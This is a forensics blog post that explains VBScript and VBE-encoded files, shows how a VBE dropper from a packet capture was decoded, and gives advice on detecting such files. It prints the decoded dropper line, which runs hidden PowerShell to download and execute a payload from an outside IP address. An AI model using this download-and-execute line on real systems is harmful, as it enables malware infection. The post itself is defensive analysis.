Malware Monday: VBScript and VBE Files

I’ll begin with a continued Happy Holidays! I know many colleagues and friends who are enjoying this in-between week on vacation, and I hope most of you are enjoying it away from the keyboard. You’ve earned it!

In last week’s Full Packet Friday, I analyzed a PCAP file that contained a VBE script that, upon execution, downloaded and executed additional malware. In the post I briefly touched upon the VBE file, but I wanted to respond to a request to dig into VBE files a bit further. If the recent PCAP example wasn’t enough, VBE scripts are still utilized by attackers and, unfortunately, still successful in evading endpoint detection mechanisms.


VBScript originally gained popularity as a resource for Windows system administrators to manage their computers. In a nutshell, it allows for control over many functions of a host, and is installed by default. It’s simple to read and simple to write. Here’s some sample VBScript to display the current date/time:

WScript.Echo Now()

You may be thinking “Wait, VBScript sounds a lot like PowerShell”, and you wouldn’t be wrong. One core difference to know is that VBScript utilizes Component Object Model (“COM”) components while PowerShell is built on .NET. A lot of recent development has gone into building out PowerShell as THE system administrator’s tool, however VBScript is still available, still executed, and still works.

In many situations, VBScript is just as powerful as PowerShell. It can be used to perform functions such as Active Directory management, implement group policies, or interact with your host’s hardware. It can read/modify the Registry, connect to WMI, and execute on a remote host. Many system administrators have had to lean on VBScript in some way, shape, or form in the past, and are quite adept at it.

VBScript is/was also used heavily in web development, and can be found both client- and server-side. VBScript is one of the languages that can be used for Active Server Pages, or “ASP”, web design, for example. Scripting blocks inside of ASP were often delimited by the characters <% and %> . Here’s the same Now() example from above, but displayed in a web page:

The current date and time is <% Now() %>

It was supported in Internet Explorer, and yes, was most likely the reason why a lot of intranet web pages “required” Internet Explorer where other browsers fail (among numerous other lack-of-backwards-compatibility-issues). I’m reaching back into old enterprise days; hopefully I’m not alone in those horrible memories.

Lastly, it is important to note that VBScript was deprecated as of Internet Explorer 11.


Encoding was also used by system administrators who were using VBScript to hop around the network and perform various functions. Again, knowing that VBScripts were simply ASCII files, users could easily access these files and potentially modify them. Worse, steal them and give them to a competitor. Even worse yet, ASCII scripts gave attackers a really easy way to blend in to the environment. By encoding, system administrators could make the script look like nonsensical text and deter many users from messing with the code.

Popularity with Attackers

Attackers typically love a scripting language that is easy to write and available on almost all, if not all, of their target hosts. VBScript is just that, and has been for many operating systems now. Attackers also love to utilize scripts that blend in with normal operations — hiding in plain sight, if you will. In many enterprises, VBScript was used heavily and executed often. Additionally, if a system administrator is using VBScript, there’s a high chance that those files are allowed on systems and not blocked or inspected.

Lastly, with built-in encoding and decoding functions, as well as the ability to build-in obfuscation, attackers have nearly endless possibilities of ensuring that their code gets executed on the target host. All of these capabilities without needing to install any software or ensure compatibility.

Analyzing VBE

VBE text, UTF-16, displayed in HxD

A few things should jump out. First, it’s very tough to read anything! Second, it appears that the text from the PCAP is in UTF-16. Let me quickly convert that to UTF-8, just to prove a point about the encoding:

VBE text, converted to UTF-8, displayed in HxD

Still can’t read anything! The need to convert to UTF-8 was to get our decoding tool to work.

Author’s note: If you ever run into issues with decoding tools, check the encoding of your encoded text :)

There are some fantastic tools out there to decode VBE files. Many of the original tools were written in VBScript, and allowed for dragging and dropping of encoded scripts. As I am very rarely analyzing VBScript inside of a Windows environment, I tend to rely on other mechanisms.

Didier Stevens has published a really nifty VBE decoding script over at his website. This script became part of my arsenal as soon as it was released. Running the encoded text through Didier’s script gives us the decoded script contents:

python script_utf-8Dim ObjShell:set ObjShell=CreAteObjEct("WScript.Shell"):Const quote="""":strCMD="cmd.exe /C powershell -nop -exec bypass -c "&Quote&"IEX (New-Object Net.WebClient).DownloadString('hxxp://65[.]181[.]112[.]240/bibi/w7.txt')"&Quote&";x":obJShell.Run strCMD,0

I love that, in this example, the attacker is using VBScript to call PowerShell to download a file named w7.txt. With the CreAteObjEct(“WScript.Shell”) VBScript, the attacker sets ObjShell to a shell object that can execute code. As discussed in the PCAP analysis, this text file contained additional malicious code.

And..that’s it! It really is that simple. However, we’ve now got an idea of what types of language(s) our attackers likes to use as stage 0 or stage 1 droppers.

A huge thanks to Didier for creating and releasing that script, it has certainly made the DFIR life easier.

Detecting VBE Files

  • VBE files are, based on my experience, extremely rare and legitimate these days. Rare enough that when I’ve come across them, I usually flag and get an answer as to the origin.
  • If you’ve got the ability to peek into HTTP traffic, put an alert or two together for .vbe files. Again, these are becoming increasingly rare, especially with the IE11 deprecation. I’d also go as far to say that VBE files requested from an external site should be flagged. Take a look at the HTTP data from last Friday’s PCAP:
Screenshot of Wireshark showing HTTP Headers with a .vbe file request
  • If you’ve got the ability to do file-level introspection, perhaps look for VBE files. Very rarely will these files be hanging around for a while, but you might just get lucky if an attacker is utilizing VBE files to move laterally. With his decoding script, Didier also released a YARA rule for VBE files.
  • Remember, this is code designed to execute in a Windows environment. Get into a VM or a non-Windows analysis environment, and analyze safely there.

Additional Notes

One More Thing

Sarcasm on the Internet never fails to amuse

Until tomorrow, Happy Forensicating!

Be selective with your battles.